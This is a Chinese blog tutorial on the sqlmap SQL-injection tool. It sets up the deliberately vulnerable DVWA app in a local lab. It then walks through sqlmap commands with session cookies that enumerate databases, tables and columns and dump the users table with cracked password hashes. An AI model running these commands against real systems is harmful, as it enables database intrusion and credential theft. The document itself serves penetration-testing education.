SQLmap注入漏洞

已于 2022-02-16 15:47:12 修改
阅读量2k 收藏 3
点赞数 1
文章标签： web安全 安全
于 2022-02-16 15:46:54 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39122260/article/details/122964632
版权

sql注入概述

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺 骗服务器执行恶意的SQL命令。它是利用现有应用程序，可以通过在Web表单中输入（恶意）SQL 语句得到一个存在安全漏洞的网站上的数据库。比如先前的很多影视网站泄露VIP会员密码大多就是 通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击

什么是SQLmap

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具，有一个非常棒的特性， 即对检测与利用的自动化处理（数据库指纹、访问底层文件系统、执行命令）。

安装sqlmap

  1. 安装Python 环境

    yum -y  install python

    查看版本

    python -V

  2. 安装

    tar -xvf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz  -C /data/
mv /data/sqlmapproject-sqlmap-7eab1bc/ /data/sqlmap
cd /data/sqlmap/
./sqlmap.py

    在这里插入图片描述

  3. 设置环境变量

    vim /etc/profile
alias sqlmap='python /data/sqlmap/sqlmap.py'

source /etc/profile

安装渗透测试演练系统DVWA

PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测 试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
前端管理LNMP

  1. 依赖安装

    yum -y install gcc pcre-devel zlib-devel openssl-devel mariadb-devel php

  2. 安装

    yum -y install php-fpm php-mysql mariadb-server php-gd
mkdir  /data
tar -xvf nginx-1.12.2.tar.gz -C /data/
cd /data/nginx-1.12.2/
./configure --with-http_ssl_module --prefix=/data/nginx
make && make install

  3. 修改配置

    vim /data/nginx/conf/nginx.conf
http {
fastcgi_buffers 8 16k;
	fastcgi_buffer_size 32k;
	fastcgi_connect_timeout 300;
	fastcgi_send_timeout 300;
	fastcgi_read_timeout 300;
...
 server {
        listen       80;
        server_name  localhost;
        location / {
            root   html/dvwa;
            index  index.html index.htm;
        }
location ~ \.php$ {
	root           html/dvwa;
	fastcgi_pass   127.0.0.1:9000;
	fastcgi_index  index.php;
	include        fastcgi.conf;
}

    vim /etc/php.ini
allow_url_include = On

  4. 启动

    systemctl start php-fpm
systemctl enable php-fpm
/data/nginx/sbin/nginx

    配置systemctl

    vim /usr/lib/systemd/system/nginx.service
[Unit]
#服务名
Description=nginx
#在网络启动以后启动
After=network.target
[Service]
Type=forking
ExecStart=/data/nginx/sbin/nginx
ExecReload=/data/nginx/sbin/nginx -s reload
ExecStop=/data/nginx/sbin/nginx -s quit
[Install]
WantedBy=multi-user.target

    systemctl daemon-reload
/data/nginx/sbin/nginx  -s stop
systemctl start nginx.service 
systemctl status nginx.service 
systemctl enable nginx.service

  5. 安装web服务

    unzip -d . dvwa1.9汉化.zip
mv dvwa1.9汉化/dvwa/ /data/nginx/html/
chown -R 777  /data/nginx/html/dvwa/

    创建对应数据库

    CREATE USER 'dvwa'@'%' IDENTIFIED BY '123456';
CREATE DATABASE `dvwa`;
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'%';

  6. 编辑配置数据库信息，user和password是MySQL的用户名和密码。

    vim /data/nginx/html/dvwa/config/config.inc.php
$_DVWA[ 'db_server' ]   = '192.168.66.245';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'dvwa';
$_DVWA[ 'db_password' ] = '123456';
$_DVWA[ 'db_port '] = '3306';

  7. 重启应用

    systemctl restart php-fpm.service
systemctl enable php-fpm.service
systemctl restart nginx.service

  8. 演试DVWA网站系统

    在浏览器中输入：http://192.168.66.244:18000/setup.php
    在这里插入图片描述

    生成自己的谷歌开源免费验证码reCAPTCHA的公钥和私钥
    在这里插入图片描述

    访问https://www.google.com/recaptcha/admin/create并用google账户登录， 在文本框输入自己网站的网址，如global-key.mycompany.com ，点击create key,生成Public Key和Private Key。
    在这里插入图片描述

    点 Create / Reset Database 创建测试数据库dvwa
    在这里插入图片描述

    点 Create / Reset Database后，等2秒，它会自动跳转后台管理登录页

    vim /var/www/html/DVWA-1.9/config/config.inc.php
$_DVWA[ 'recaptcha_public_key' ]  = '自己的key';
$_DVWA[ 'recaptcha_private_key' ] = '自己的key';

    在这里插入图片描述

    dvwa的登录界面的默认用户名和密码为admin和password

例子1：枚举登录MYSQL数据的用户名与密码

使用SQLmap之前我们得到需要当前会话cookies等信息，用来在渗透过程中维持连接状态， 这里使用Firefox中名为“TamperData”的插件获取。
Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展。

  1. 找到sql注入点：接下来以火狐浏览器登录：

    http://192.168.1.63/DVWA-1.9/index.php
    在这里插入图片描述
    在这里插入图片描述

    这里有提交sql语句的地方，所以就是我们的一个sql注入点。因此该页面就是我们的目 标页面。

  2. 获取当前页面的cookie信息 ：
    在这里插入图片描述

    先别点login，等开始tamper data 再点login，这样就可以抓取到登录时 的cookie值
    在这里插入图片描述
    在这里插入图片描述

    点login ，在弹出的界面点： tamper
    在这里插入图片描述

    可以抓到当前会话的cookie及提及表单的用户admin和密码password

  3. 使用sqlmap检索当前数据库和当前用户

    sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -b  	--current-db  --current-user

    中间会遇到几个选项，一路选择Y就可以了
    使用选项：
    1、–cookie :设置我们的cookie值“将DVWA安全等级从high设置为low”
    2、-u : 指定目标URL，syql注入点
    3、-b :获取DBMS banner数据库管理系统
    4、–current-db : 获取当前数据库
    5、–current-user :获取当前用户

    在这里插入图片描述

例子2：枚举所有登录msyql数据库的用户名和密码hash值，对密码hash破解，生成明文密码

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' 	--string="Surname" --users --password

在这里插入图片描述

例子3:枚举系统中所有的数据库名

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'  --dbs

使用选项：
–dbs: 枚举DBMS中的所有数据库

在这里插入图片描述

例子4：枚举dvwa数据表：

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' 
-D dvwa --tables

使用选项：
-D : 要枚举的DBMS数据库
–tables : 枚举DBMS数据库中的数据表

得到结果如下：
Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+

例子5：获取dvwa库中users表的所有列名字

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'  
-D dvwa 
-T users --columns

使用选项：
-T : 要枚举的DBMS数据库表
–columns : 枚举DBMS数据库表中的所有列

例子6：提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'   
-D dvwa -T users -C user,password --dump

使用选项：
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
–dump : 转储DBMS数据表项
SQLmap会提问是否破解密码，按回车确认：

在这里插入图片描述

尽管我们用的数据库中密码是经过md5加密的，但是sqlmap可以导出sql数据，帮你解析成明文密码

查看导出的数据：

vim /root/.sqlmap/output/192.168.1.63/dump/dvwa/users.csv
user,password
1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)

喜欢的亲可以关注点赞评论哦！以后每天都会更新的哦！本文为小编原创文章； 文章中用到的文件、安装包等可以加小编联系方式获得；
欢迎来交流小编联系方式VX:CXKLittleBrother 进入运维交流群

含义小哥
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
sqlmap 进行sql漏洞注入
a10703060237的博客
07-05 705
有一款工具叫sqlmap主要用于识别sql漏洞并注入，这里我就写一篇教程教大家如何使用。 因为sql注入是非法的，所以我就使用两台自己的虚拟机进行测试，请大家不要在别人的网站上搞破坏。(现在大部分网站已经没有sql漏洞了，修复方法也很简单) 一、什么是sql漏洞 要搞清楚sql漏...
使用sqlmap进行SQL注入攻击
不忘初心，护天下安全！
11-23 8980
SQL注入攻击的特点 ① Web应用程序没有对用户输入进行合法性验证而产生SQL注入漏洞（ “空格”的存在和使用）； ② 攻击者通过构造特殊的SQL语句，将指令插入系统原始的SQL查询语句中并执行它； ③ 获取数据库的敏感信息，甚至获取主机的控制权。     SQL注入攻击具有广泛性。 原理 SQL注入的原理 ① 地址http://127.0.0.1/inject.asp?dbtype=sq...
SQLMAP注入教程-11种常见SQLMAP使用方法详解
dfdhxb995397的博客
08-24 3999
sqlmap也是渗透中常用的一个注入工具，其实在注入工具方面，一个sqlmap就足够用了，只要你用的熟，秒杀各种工具，只是一个便捷性问题，sql注入另一方面就是手工党了，这个就另当别论了。今天把我一直以来整理的sqlmap笔记发布上来供大家参考。 一共有11种常见SQLmap使用方法：一、SQLMAP用于Access数据库注入(1) 猜解是否能注入 ...
SQLMAP入门命令解析
kk的博客
05-27 704
sql注入常用命令解析
sqlmap修改mysql密码_sqlmap基础语句
weixin_35761503的博客
02-11 722
sqlmap基础语句(2013-11-28 12:33:52)第一步:在 sqlmap 里面输入： -u "注入的 url"#这一步是为了扫描目标url 看是否为注入点，格式是： -u +"要检测的url"第二步：输入： -u +"目标url" --tables#可以检测出数据库的检测表名第三步：继续输入： -u "注入的 url" --columns -T 表名(比如：admin)#这一步是在第...
sqlmap注入漏洞测试
02-22
资源内容：sqlmap注入漏洞测试
SQLmap注入工具
09-20
sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, ...
sqlmap注入命令详解
08-19
使用sqlmap进行数据库注入漏洞测试，高效，快速
sqlmap注入工具
12-05
Sqlmap是一种开源的渗透测试工具，可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。...
SqlMap注入软件
03-29
Sqlmap是一种开源的渗透测试工具，可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。SQL注入漏洞检测与利用的神器，是最好的注入工具没有之一
SqlMap
zhaji001
12-18 1万+
收集的一些技巧资源来之互联网 -u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p “page,id”) -D “” #指定数据库名 -T “” #指定表名 -C “” #指定字段 -s “” #保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s “xx.log”　　恢复:-s “xx.log” –r...
好用的sqlmap参数
luminous_you的博客
10-18 535
2.检查是否waf/ips/ids （结尾会对如何绕过防火墙详细介绍） –identify-waf彻底的waf检查，支持30多种产品 –check-waf 首先–identify-waf 3.http parameter pollution –hpp 绕过waf的有效方法，尤其对asp/iis和asp.net、iis 5.发现SQL注入时发出蜂鸣声 –beep 发现sql注入时，发出蜂鸣声。 十一.Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,
SQLMAP基本应用详解（实战演示）
刘桂香263的博客
07-31 4633
SQLMAP自动化注入工具具有扫描、发现并利用给定的URL的SQL漏洞。
渗透利器-sqlmap超级详解
kracer的博客
11-08 3912
目录 0X01 背景介绍 0X02 原理简述 0X03 参数说明 0X04 实战举例 0X05 高级用法 0X06 总结 0X01 背景介绍 官网：http://sqlmap.org 目前支持的数据库有:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft...
使用sqlmap检测sql注入漏洞
热门推荐
菜鸟、上路
08-21 10万+
一、 sql注入概述并安装sqlmap漏洞查看工具 1、 sql注入概述 所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。 它是利用现有应用程序，可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库。 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表...
sqlmap常用参数和原理
weixin_64622881的博客
04-18 1407
其原理是通过构造恶意的SQL查询语句，利用应用程序的漏洞来执行SQL注入攻击。具体一点就是，SQLmap首先分析目标网站的结构和参数，尝试检测是否存在SQL注入漏洞。如果存在漏洞，它将尝试利用不同的技术（如布尔盲注、时间盲注、联合查询注入等）来获取数据或者直接对数据库进行修改。
sql注入总结
qq_45655564的博客
07-09 251
这里写目录标题联合注入对返回结果有过滤有时候需要用base64或hex返回对返回结果的数字进行了过滤利用读写文件把结果写入网站目录布尔盲注&&时间盲注普通方法regexpright join利用true绕过数字过滤MD5($str,true)利用where username=0中的弱类型比较堆叠注入修改列名预处理handler预处理十六进制转换into oufile的扩展利用报错注入双查询注入 联合注入 假设无过滤,这种是最简单的了算是。 -1' union select 1,2,3--+
sqlmap命令详解
Pitbull2014的博客
12-20 1089
cookie注入：sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入：sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables sqlmap.py -u 登录的地址 --forms 自动判断注入 sqlmap.py -u 登录的地址 --data "指定参数" 绕过waf防火墙：sq...
史上最详细的sqlmap使用教程
大河之犬的博客
09-19 4万+
sqlmapsqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等Sqlmap采用了以下5种独特的SQL注入技术基于布尔类型的盲注，即可以根据返回页面判断条件真假的注入。
sqlmap之注入漏洞
最新发布
07-28
对于SQL注入漏洞，SQLMap是一个常用的自动化工具，用于检测和利用这类漏洞。它可以通过发送特制的SQL语句来判断目标应用程序是否存在注入漏洞，并且可以进一步利用这些漏洞执行各种攻击。 SQLMap可以通过以下几种...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

含义小哥

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值